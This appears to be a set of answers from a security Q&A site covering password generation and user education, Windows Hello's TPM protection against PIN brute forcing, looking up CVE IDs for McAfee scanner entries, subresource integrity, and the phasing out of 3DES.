What is the best fit for a given user is not necessarily the optimal trade-off for another. Thus the need for several password generation methods, so that each user may use a method that works best with his brain and fingers.
Users themselves are bad at making such decisions, because they tend to think that a password that "looks complex" is more secure. In fact, "password complexity rules" such as requiring letters, digits, mixed cases and punctuation signs siphon out the scarce resources of memory and typing very fast, and don't provide that much entropy. These rules are often a bad bargain, but many security professional love them, and parrot the received dogmas about their necessity, because the rules make for visible security (they give a lot more feeling of security than actual security).
All such analysis relies on independent, random and uniform selection of the password components. Letters, syllables, words in a passphrase... must be generated with a computer (or dice or some other physical device), not with a human mind. Humans cannot do good randomness. The password must be generated, then the story built on the result, and not the other way round. There must be random generation that the users accept. This is the trickiest point.

Last but not least, there is a disadvantage to pronounceable passwords: they may be pronounced. Users must be made well aware that though the password can be uttered, it must not be actually spoken, since it may then fall in malicious ears. The whole idea of pronounceable passwords is that users speak them in their heads. If a password is easy to pronounce, then it is also easy to share orally (e.g. with some co-workers), which is, in all generality, a rather bad thing.

User education, as usual, is what matters most. Regardless of how passwords are generated, security won't be achieved if the users are not informed about how passwords shall be used, and what they should not do with them.


How does Window Hello protect against brute forcing?

The Hello PIN is backed by a Trusted Platform Module (TPM) chip, which
  is a secure crypto-processor that is designed to carry out
  cryptographic operations. The chip includes multiple physical security
  mechanisms to make it tamper resistant, and malicious software is
  unable to tamper with the security functions of the TPM. All Windows
  10 Mobile phones and many modern laptops have TPM.

  User key material is generated and available within the Trusted
  Platform Module (TPM) of the user device, which protects it from
  attackers who want to capture the key material and reuse it. Because
  Hello uses asymmetrical key pairs, users credentials can’t be stolen
  in cases where the identity provider or websites the user accesses
  have been compromised.

  The TPM protects against a variety of known and potential attacks, including PIN brute-force attacks. After too many incorrect guesses,
  the device is locked.

(emphasis mine)

Reference: https://docs.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/hello-why-pin-is-better-than-password


How can I find a CVE ID for "No Translation Available" entries in Foundstone or McAfee Vulnerability Manager?

I've often found the MVM reports are lacking when it comes to this.  Especially on the plethora of 0 days that were dropped December 2010 in multiple different browsers and rendering components of Microsoft Operating systems.

This is one of those.

The process I've found that can identify most (call it 90%) of the "No Translation Available" items for Microsoft related vulnerabilities is as follows:

Step 1:  Hit Mcafee labs and run a search on the Vuln ID.
http://www.mcafee.com/apps/search/default.aspx?q=Vulnerability+ID+11900&searchSubmit=Go

Step 2: Hit Technet and search with the string used as the description.
http://www.microsoft.com/technet/security/advisory/2501696.mspx

Step 3: Hit google with the Advisory number and hopefully there's an MS numbered patch released, if not you're likely to get a page detailing mitigation steps that can be taken.

In this case, you're lucky, and there's a patch released.
http://support.microsoft.com/kb/2501696

Step 4: Call/Email your rep and give them the details above and request the vulnerability "recommendation" be updated with the information provided.

If you're looking for it in a language microsoft supports on their main page this will give you an interim solution.  Though honestly CVE's are registered for almost anything, this is probably just Mcafee not doing their diligence to find it.


How to handle 3rd party vulnerable code?

You can use subresource integrity. This prevents an attacker from altering scripts. It adds a hash to the script tag, and if that hash does not match with the script it does not get executed.


NIST still recognizes 3DES (ANSI X9.52-1998) as a secure symmetric-key encryption algorithm when configured to operate as described in NIST SP 800-20. There are still Cryptographic Algorithm Validation Program (CAVP) certificates issued for 3DES in 2016. However, many open source projects (e.g. OpenSSL) and international certification standards (e.g. Common Criteria) already deprecated 3DES.

The reason 3DES is being phased out is due to various vulnerabilities (e.g. collision attacks like sweet32). While there are still ways to compensate (e.g. frequent rekey, disabling CBC mode) to prolong its life, there is no good reason not to switch to AES.

So are you vulnerable RIGHT NOW? Not if you correctly implemented and configured 3DES. Should you be planning your move to AES? Absolutely! It is only matter of time until 3DES is too broken to be considered secure.